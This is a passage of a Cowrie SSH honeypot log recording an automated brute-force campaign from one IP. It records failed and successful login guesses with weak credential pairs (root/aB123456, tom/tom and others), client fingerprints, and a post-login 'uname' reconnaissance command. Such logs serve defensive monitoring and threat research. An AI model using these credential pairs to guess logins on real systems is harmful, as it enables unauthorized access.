0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:17.275851Z","src_ip":"192.109.200.78","session":"4c0fc6c9fd3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:17.592003Z","src_ip":"192.109.200.78","session":"4c0fc6c9fd3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:18.676044Z","src_ip":"192.109.200.78","session":"4c0fc6c9fd3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37006,"dst_ip":"10.17.0.5","dst_port":22,"session":"c65b78425de3","protocol":"ssh","message":"New connection: 192.109.200.78:37006 (10.17.0.5:22) [session: c65b78425de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:20.621083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:20.625080Z","src_ip":"192.109.200.78","session":"c65b78425de3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:20.709312Z","src_ip":"192.109.200.78","session":"c65b78425de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:21.078092Z","src_ip":"192.109.200.78","session":"c65b78425de3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:22.162622Z","src_ip":"192.109.200.78","session":"c65b78425de3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45396,"dst_ip":"10.17.0.5","dst_port":22,"session":"4243e8a838b5","protocol":"ssh","message":"New connection: 192.109.200.78:45396 (10.17.0.5:22) [session: 4243e8a838b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:23.943726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:23.947793Z","src_ip":"192.109.200.78","session":"4243e8a838b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:24.029683Z","src_ip":"192.109.200.78","session":"4243e8a838b5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:24.278188Z","src_ip":"192.109.200.78","session":"4243e8a838b5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:24.484770Z","src_ip":"192.109.200.78","session":"4243e8a838b5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:24.487583Z","src_ip":"192.109.200.78","session":"4243e8a838b5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:24.573150Z","src_ip":"192.109.200.78","session":"4243e8a838b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:24.577729Z","src_ip":"192.109.200.78","session":"4243e8a838b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45402,"dst_ip":"10.17.0.5","dst_port":22,"session":"334be9f06d9c","protocol":"ssh","message":"New connection: 192.109.200.78:45402 (10.17.0.5:22) [session: 334be9f06d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:27.203248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:27.380646Z","src_ip":"192.109.200.78","session":"334be9f06d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:27.383862Z","src_ip":"192.109.200.78","session":"334be9f06d9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:27.772051Z","src_ip":"192.109.200.78","session":"334be9f06d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:28.856269Z","src_ip":"192.109.200.78","session":"334be9f06d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45406,"dst_ip":"10.17.0.5","dst_port":22,"session":"eba281fd2ffe","protocol":"ssh","message":"New connection: 192.109.200.78:45406 (10.17.0.5:22) [session: eba281fd2ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:30.722137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:30.729717Z","src_ip":"192.109.200.78","session":"eba281fd2ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:30.811701Z","src_ip":"192.109.200.78","session":"eba281fd2ffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:31.057493Z","src_ip":"192.109.200.78","session":"eba281fd2ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:32.142952Z","src_ip":"192.109.200.78","session":"eba281fd2ffe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58064,"dst_ip":"10.17.0.5","dst_port":22,"session":"c770fdc67527","protocol":"ssh","message":"New connection: 192.109.200.78:58064 (10.17.0.5:22) [session: c770fdc67527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:34.045530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:34.049644Z","src_ip":"192.109.200.78","session":"c770fdc67527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:34.133084Z","src_ip":"192.109.200.78","session":"c770fdc67527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:34.380658Z","src_ip":"192.109.200.78","session":"c770fdc67527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:35.464864Z","src_ip":"192.109.200.78","session":"c770fdc67527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58076,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b8ac745c326","protocol":"ssh","message":"New connection: 192.109.200.78:58076 (10.17.0.5:22) [session: 2b8ac745c326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:37.324636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:37.426105Z","src_ip":"192.109.200.78","session":"2b8ac745c326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:37.429939Z","src_ip":"192.109.200.78","session":"2b8ac745c326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"12345","message":"login attempt [main/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:37.889292Z","src_ip":"192.109.200.78","session":"2b8ac745c326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:38.972854Z","src_ip":"192.109.200.78","session":"2b8ac745c326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58086,"dst_ip":"10.17.0.5","dst_port":22,"session":"accd017b7a2e","protocol":"ssh","message":"New connection: 192.109.200.78:58086 (10.17.0.5:22) [session: accd017b7a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:40.998404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:41.003006Z","src_ip":"192.109.200.78","session":"accd017b7a2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:41.084246Z","src_ip":"192.109.200.78","session":"accd017b7a2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:41.328223Z","src_ip":"192.109.200.78","session":"accd017b7a2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:42.411717Z","src_ip":"192.109.200.78","session":"accd017b7a2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55932,"dst_ip":"10.17.0.5","dst_port":22,"session":"449d647452ca","protocol":"ssh","message":"New connection: 192.109.200.78:55932 (10.17.0.5:22) [session: 449d647452ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:44.320748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:44.327463Z","src_ip":"192.109.200.78","session":"449d647452ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:44.411860Z","src_ip":"192.109.200.78","session":"449d647452ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1","message":"login attempt [openclaw/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:44.659688Z","src_ip":"192.109.200.78","session":"449d647452ca","protocol":"ssh"}
